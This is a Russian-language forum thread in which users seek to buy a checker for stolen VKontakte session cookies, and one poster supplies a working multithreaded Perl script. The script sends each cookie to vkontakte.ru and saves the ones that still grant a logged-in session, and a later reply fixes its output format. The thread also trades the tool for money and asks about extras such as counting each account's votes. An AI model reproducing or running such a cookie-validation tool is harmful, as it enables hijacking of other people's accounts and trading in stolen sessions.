куплю чекер куков вк

[alexkk]

нужно чтобы кроме чека на валид, еще были и доп. функция, такие как кол-во голосов на акке

icq 422915664

[inlanger]

Есть знакомый, готовый продать. Сколько денег даёшь?

[mishqa]

inlanger
А по чём продаёт? Тоже заинтерисовался

[inlanger]

я ему ссылку скинул на тему, вечерком отпишется

[webzer]

так же интересует такой чекер.

[Kaimi]

В самом простом варианте

use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;

my $cfile = './cookie.txt'; #кукисы
my $fgood = './valid.txt'; #валид
my $thrnm = 1; #потоки

open F, "<", $cfile || die $!;
chomp(my @clist : shared = <F>);
close F;
my @trl = ();

for(0..$thrnm-1) {$trl[$_] = threads->create(\&check) }
for(@trl) { $_->join }

sub check
{
while(@clist)
{
my $line;
{lock(@clist); $line = shift @clist;}
my $sock = new IO::Socket::INET
(
PeerAddr => 'vkontakte.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) or warn "Can't connect\n";

my $req = "GET http://vkontakte.ru/ HTTP/1.0\n".
"Host: vkontakte.ru\n".
"Cookie: ".$line."\n\n";

print $sock $req;
read $sock, my $answ, 64;

if($answ =~ /302 Found/)
{
print "[+] ".substr($line, 0, 50)."\n";
open F, ">>", $fgood || die $!;
print F $line;
close F;
}
else
{
print "[-] ".substr($line, 0, 50)."\n";
}
close $sock;
}
}

[Mixon]

Вот,кого интересует мой http://forum.xakep.ru/m_1518473/tm.htm

[SanchezBoy]

Тоже бы не против, Mixon, свяжись пожалуйста.

[DeepXhadow]

Kaimi, а как сделать что в valid.txt 1 кука - 1 строка было?
open F, ">>", $fgood || die $! ."\n";

не помогает...

[Kaimi]

print F $line;
замени на
print F $line."\n";